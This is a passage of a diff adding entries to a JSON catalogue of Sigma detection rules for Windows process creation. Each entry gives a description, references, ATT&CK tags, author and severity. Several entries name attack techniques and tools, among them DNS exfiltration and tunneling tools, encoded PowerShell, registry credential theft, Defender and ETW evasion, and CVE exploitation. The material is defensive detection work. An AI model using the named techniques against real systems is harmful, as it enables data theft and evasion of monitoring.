"falsepositive": [ + "Legitimate administration use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Well-known DNS Exfiltration tools execution", + "uuid": "98a96a5a-64a0-4c42-92c5-489da3866cb0", + "value": "DNS Exfiltration and Tunneling Tools Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.001", + "attack.command_and_control", + "attack.t1071.004", + "attack.t1132.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_dns_exfiltration_tools_execution.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate usage of iodine or dnscat2 \u2014 DNS Exfiltration tools (unlikely)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", + "uuid": "f63b56ee-3f79-4b8a-97fb-5c48007e8573", + "value": "DNS ServerLevelPluginDll Install", + "meta": { + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_serverlevelplugindll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ], + "creation_date": "2017/05/08", + "filename": "proc_creation_win_dns_serverlevelplugindll.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "dotnet.exe will execute any DLL and execute unsigned code", + "uuid": "d80d5c81-04ba-45b4-84e4-92eba40e0ad3", + "value": "Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", + "https://twitter.com/_felamos/status/1204705548668555264", + "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_dotnet.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "System administrator Usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Dsacls to grant over permissive permissions", + "uuid": "01c42d3c-242d-4655-85b2-34f1739632f7", + "value": "Abusing Permissions Using Dsacls", + "meta": { + "refs": [ + "https://ss64.com/nt/dsacls.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_dsacls_abuse_permissions.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate administrators granting over permissive permissions to users" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible password spraying attempts using Dsacls", + "uuid": "bac9fb54-2da7-44e9-988f-11e9a5edbc0c", + "value": "Password Spraying Attempts Using Dsacls", + "meta": { + "refs": [ + "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", + "https://ss64.com/nt/dsacls.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_dsacls_password_spray.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of dsacls to bind to an LDAP session" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", + "uuid": "43e32da2-fdd0-4156-90de-50dfd62636f9", + "value": "Dism Remove Online Package", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism", + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/01/16", + "filename": "proc_creation_win_dsim_remove.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender", + "uuid": "4f647cfa-b598-4e12-ad69-c68dd16caef8", + "value": "DumpStack.log Defender Evasion", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1479094189048713219", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpstack_log_evasion.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/06", + "filename": "proc_creation_win_dumpstack_log_evasion.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects email exfiltration via powershell cmdlets", + "uuid": "312d0384-401c-4b8b-abdf-685ffba9a332", + "value": "Email Exifiltration Via Powershell", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_email_exfil_via_powershell.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_email_exfil_via_powershell.yml", + "author": "Nasreddine Bencherchali (rule), Azure-Sentinel (idea)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects events that appear when a user click on a link file with a powershell command in it", + "uuid": "30e92f50-bb5a-4884-98b5-d20aa80f3d7a", + "value": "Hidden Powershell in Link File Pattern", + "meta": { + "refs": [ + "https://www.x86matthew.com/view_post?id=embed_exe_lnk", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/02/06", + "filename": "proc_creation_win_embed_exe_lnk.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate commands in .lnk files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a base64 encoded FromBase64String keyword in a process command line", + "uuid": "fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c", + "value": "Encoded FromBase64String", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_frombase64string.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/08/24", + "filename": "proc_creation_win_encoded_frombase64string.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a base64 encoded IEX command string in a process command line", + "uuid": "88f680b8-070e-402c-ae11-d2914f2257f1", + "value": "Encoded IEX", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/08/23", + "filename": "proc_creation_win_encoded_iex.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline", + "uuid": "87a476dc-0079-4583-a985-dee7a20a03de", + "value": "Enumeration for 3rd Party Creds From CLI", + "meta": { + "refs": [ + "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", + "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", + "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_cli.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.002" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_enumeration_for_credentials_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n", + "uuid": "e0b0c2ab-3d52-46d9-8cb7-049dc775fbd1", + "value": "Enumeration for Credentials in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_in_registry.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.002" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_enumeration_for_credentials_in_registry.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe", + "uuid": "6a69f62d-ce75-4b57-8dce-6351eb55b362", + "value": "Esentutl Steals Browser Information", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://redcanary.com/threat-detection-report/threats/qbot/", + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_esentutl_webcache.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "uuid": "41421f44-58f9-455d-838a-c398859841d4", + "value": "COMPlus_ETWEnabled Command Line Arguments", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_modification_cmdline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_etw_modification_cmdline.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.", + "uuid": "a238b5d0-ce2d-4414-a676-7a531b3d13d6", + "value": "Disable of ETW Trace", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", + "https://abuse.io/lockergoga.txt", + "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_trace_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562.006", + "car.2016-04-002" + ], + "creation_date": "2019/03/22", + "filename": "proc_creation_win_etw_trace_evasion.yml", + "author": "@neu5ron, Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", + "uuid": "a197e378-d31b-41c0-9635-cfdf1c1bb423", + "value": "WinRM Access with Evil-WinRM", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", + "https://github.com/Hackplayers/evil-winrm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_evil_winrm.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2022/01/07", + "filename": "proc_creation_win_evil_winrm.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.", + "uuid": "344482e4-a477-436c-aa70-7536d18a48c7", + "value": "Execution via MSSQL Xp_cmdshell Stored Procedure", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp_cmdshell-stored-procedure.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execution of well known tools for data exfiltration and tunneling", + "uuid": "c75309a3-59f8-4a8d-9c2c-4c927ad50555", + "value": "Exfiltration and Tunneling Tools Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1041", + "attack.t1572", + "attack.t1071.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_exfiltration_and_tunneling_tools_execution.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate Administrator using tools" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of various cli utility related to web request exfiltrating data", + "uuid": "7d1aaf3d-4304-425c-b7c3-162055e0b3ab", + "value": "Possible Exfiltration Of Data Via CLI", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfil_data_via_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/08/02", + "filename": "proc_creation_win_exfil_data_via_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack", + "uuid": "9f107a84-532c-41af-b005-8d12a607639f", + "value": "Cabinet File Expansion", + "meta": { + "refs": [ + "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", + "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2021/07/30", + "filename": "proc_creation_win_expand_cabinet_files.yml", + "author": "Bhabesh Raj", + "level": "medium", + "falsepositive": [ + "System administrator Usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641", + "uuid": "7993792c-5ce2-4475-a3db-a3a5539827ef", + "value": "Exploit for CVE-2015-1641", + "meta": { + "refs": [ + "https://www.virustotal.com/en/file/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8/analysis/", + "https://www.hybrid-analysis.com/sample/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2015_1641.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2018/02/22", + "filename": "proc_creation_win_exploit_cve_2015_1641.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262", + "uuid": "864403a1-36c9-40a2-a982-4c9a45f7d833", + "value": "Exploit for CVE-2017-0261", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_0261.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2018/02/22", + "filename": "proc_creation_win_exploit_cve_2017_0261.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe", + "uuid": "678eb5f4-8597-4be6-8be7-905e4234b53a", + "value": "Droppers Exploiting CVE-2017-11882", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100", + "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2017/11/23", + "filename": "proc_creation_win_exploit_cve_2017_11882.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759", + "uuid": "fdd84c68-a1f6-47c9-9477-920584f94905", + "value": "Exploit for CVE-2017-8759", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", + "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2017/09/15", + "filename": "proc_creation_win_exploit_cve_2017_8759.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378", + "uuid": "1c373b6d-76ce-4553-997d-8c1da9a6b5f5", + "value": "Exploiting SetupComplete.cmd CVE-2019-1378", + "meta": { + "refs": [ + "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.execution", + "attack.t1059.003", + "attack.t1574", + "cve.2019.1378" + ], + "creation_date": "2019/11/15", + "filename": "proc_creation_win_exploit_cve_2019_1378.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM", + "uuid": "02e0b2ea-a597-428e-b04a-af6a1a403e5c", + "value": "Exploiting CVE-2019-1388", + "meta": { + "refs": [ + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388", + "https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2019/11/20", + "filename": "proc_creation_win_exploit_cve_2019_1388.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", + "uuid": "846b866e-2a57-46ee-8e16-85fa92759be7", + "value": "Exploited CVE-2020-10189 Zoho ManageEngine", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.s0190", + "cve.2020.10189" + ], + "creation_date": "2020/03/25", + "filename": "proc_creation_win_exploit_cve_2020_10189.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects new commands that add new printer port which point to suspicious file", + "uuid": "cc08d590-8b90-413a-aff6-31d1a99678d7", + "value": "Suspicious PrinterPorts Creation (CVE-2020-1048)", + "meta": { + "refs": [ + "https://windows-internals.com/printdemon-cve-2020-1048/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/05/13", + "filename": "proc_creation_win_exploit_cve_2020_1048.yml", + "author": "EagleEye Team, Florian Roth", + "level": "high", + "falsepositive": [ + "New printer port install on host" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process", + "uuid": "b5281f31-f9cc-4d0d-95d0-45b91c45b487", + "value": "DNS RCE CVE-2020-1350", + "meta": { + "refs": [ + "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", + "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/07/15", + "filename": "proc_creation_win_exploit_cve_2020_1350.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown but benign sub processes of the Windows DNS service dns.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights", + "uuid": "af8bbce4-f751-46b4-8d91-82a33a736f61", + "value": "Possible InstallerFileTakeOver LPE CVE-2021-41379", + "meta": { + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_lpe_cve_2021_41379.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/11/22", + "filename": "proc_creation_win_exploit_lpe_cve_2021_41379.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the exploitation of PrinterNightmare to get a shell as LOCAL_SYSTEM", + "uuid": "c01f7bd6-0c1d-47aa-9c61-187b91273a16", + "value": "SystemNightmare Exploitation Script Execution", + "meta": { + "refs": [ + "https://github.com/GossiTheDog/SystemNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_systemnightmare.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/08/11", + "filename": "proc_creation_win_exploit_systemnightmare.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Rename as a legitimate Sysinternals Suite tool to evade detection", + "uuid": "7cce6fc8-a07f-4d84-a53e-96e1879843c9", + "value": "False Sysinternals Suite Tools", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_false_sysinternalsuite.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_false_sysinternalsuite.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a file or folder's permissions being modified.", + "uuid": "37ae075c-271b-459b-8d7b-55ad5f993dd8", + "value": "File or Folder Permissions Modifications", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_file_permission_modifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ], + "creation_date": "2019/10/23", + "filename": "proc_creation_win_file_permission_modifications.yml", + "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Users interacting with the files on their own (unlikely unless privileged users).", + "Dynatrace app" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.", + "uuid": "91a2c315-9ee6-4052-a853-6f6a8238f90d", + "value": "Findstr GPP Passwords", + "meta": { + "refs": [ 